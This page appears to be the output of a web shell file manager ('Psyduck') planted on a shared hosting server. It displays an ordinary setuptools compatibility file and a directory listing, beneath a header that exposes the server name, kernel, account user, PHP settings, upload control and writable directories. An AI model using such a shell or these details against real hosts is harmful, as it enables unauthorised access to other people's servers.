Psyduck - 可達鴨 之 鴨力山大2


Server : LiteSpeed
System : Linux premium217.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : alloknri ( 880)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /opt/alt/python27/lib/python2.7/site-packages/setuptools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/python27/lib/python2.7/site-packages/setuptools/py36compat.py
import sys
from distutils.errors import DistutilsOptionError
from distutils.util import strtobool
from distutils.debug import DEBUG


class Distribution_parse_config_files:
    """
    Mix-in providing forward-compatibility for functionality to be
    included by default on Python 3.7.

    Do not edit the code in this class except to update functionality
    as implemented in distutils.
    """
    def parse_config_files(self, filenames=None):
        from configparser import ConfigParser

        # Ignore install directory options if we have a venv
        if sys.prefix != sys.base_prefix:
            ignore_options = [
                'install-base', 'install-platbase', 'install-lib',
                'install-platlib', 'install-purelib', 'install-headers',
                'install-scripts', 'install-data', 'prefix', 'exec-prefix',
                'home', 'user', 'root']
        else:
            ignore_options = []

        ignore_options = frozenset(ignore_options)

        if filenames is None:
            filenames = self.find_config_files()

        if DEBUG:
            self.announce("Distribution.parse_config_files():")

        parser = ConfigParser(interpolation=None)
        for filename in filenames:
            if DEBUG:
                self.announce("  reading %s" % filename)
            parser.read(filename)
            for section in parser.sections():
                options = parser.options(section)
                opt_dict = self.get_option_dict(section)

                for opt in options:
                    if opt != '__name__' and opt not in ignore_options:
                        val = parser.get(section,opt)
                        opt = opt.replace('-', '_')
                        opt_dict[opt] = (filename, val)

            # Make the ConfigParser forget everything (so we retain
            # the original filenames that options come from)
            parser.__init__()

        # If there was a "global" section in the config file, use it
        # to set Distribution options.

        if 'global' in self.command_options:
            for (opt, (src, val)) in self.command_options['global'].items():
                alias = self.negative_opt.get(opt)
                try:
                    if alias:
                        setattr(self, alias, not strtobool(val))
                    elif opt in ('verbose', 'dry_run'): # ugh!
                        setattr(self, opt, strtobool(val))
                    else:
                        setattr(self, opt, val)
                except ValueError as msg:
                    raise DistutilsOptionError(msg)


if sys.version_info < (3,):
    # Python 2 behavior is sufficient
    class Distribution_parse_config_files:
        pass


if False:
    # When updated behavior is available upstream,
    # disable override here.
    class Distribution_parse_config_files:
        pass
Name
Size
Permissions
Options
command
--
drwxr-xr-x
extern
--
drwxr-xr-x
__init__.py
4.919 KB
-rw-r--r--
__init__.pyc
7.914 KB
-rw-r--r--
archive_util.py
6.458 KB
-rw-r--r--
archive_util.pyc
6.661 KB
-rw-r--r--
config.py
15.935 KB
-rw-r--r--
config.pyc
19.261 KB
-rw-r--r--
dep_util.py
0.913 KB
-rw-r--r--
dep_util.pyc
1.103 KB
-rw-r--r--
depends.py
5.7 KB
-rw-r--r--
depends.pyc
7.292 KB
-rw-r--r--
dist.py
39.359 KB
-rw-r--r--
dist.pyc
43.612 KB
-rw-r--r--
extension.py
1.688 KB
-rw-r--r--
extension.pyc
2.842 KB
-rw-r--r--
glob.py
5.085 KB
-rw-r--r--
glob.pyc
5.586 KB
-rw-r--r--
launch.py
0.769 KB
-rw-r--r--
launch.pyc
1.137 KB
-rw-r--r--
lib2to3_ex.py
1.966 KB
-rw-r--r--
lib2to3_ex.pyc
3.654 KB
-rw-r--r--
monkey.py
5.655 KB
-rw-r--r--
monkey.pyc
7.241 KB
-rw-r--r--
msvc.py
39.926 KB
-rw-r--r--
msvc.pyc
45.896 KB
-rw-r--r--
namespaces.py
3.124 KB
-rw-r--r--
namespaces.pyc
5.876 KB
-rw-r--r--
package_index.py
39.034 KB
-rw-r--r--
package_index.pyc
45.489 KB
-rw-r--r--
py26compat.py
0.663 KB
-rw-r--r--
py26compat.pyc
1.587 KB
-rw-r--r--
py27compat.py
0.523 KB
-rw-r--r--
py27compat.pyc
1.341 KB
-rw-r--r--
py31compat.py
1.606 KB
-rw-r--r--
py31compat.pyc
2.88 KB
-rw-r--r--
py33compat.py
0.975 KB
-rw-r--r--
py33compat.pyc
1.787 KB
-rw-r--r--
py36compat.py
2.823 KB
-rw-r--r--
py36compat.pyc
3.195 KB
-rw-r--r--
sandbox.py
14.208 KB
-rw-r--r--
sandbox.pyc
22.996 KB
-rw-r--r--
script (dev).tmpl
0.196 KB
-rw-r--r--
script.tmpl
0.135 KB
-rw-r--r--
site-patch.py
2.253 KB
-rw-r--r--
site-patch.pyc
1.858 KB
-rw-r--r--
ssl_support.py
8.027 KB
-rw-r--r--
ssl_support.pyc
9.781 KB
-rw-r--r--
unicode_utils.py
0.973 KB
-rw-r--r--
unicode_utils.pyc
1.758 KB
-rw-r--r--
version.py
0.141 KB
-rw-r--r--
version.pyc
0.395 KB
-rw-r--r--
windows_support.py
0.697 KB
-rw-r--r--
windows_support.pyc
1.564 KB
-rw-r--r--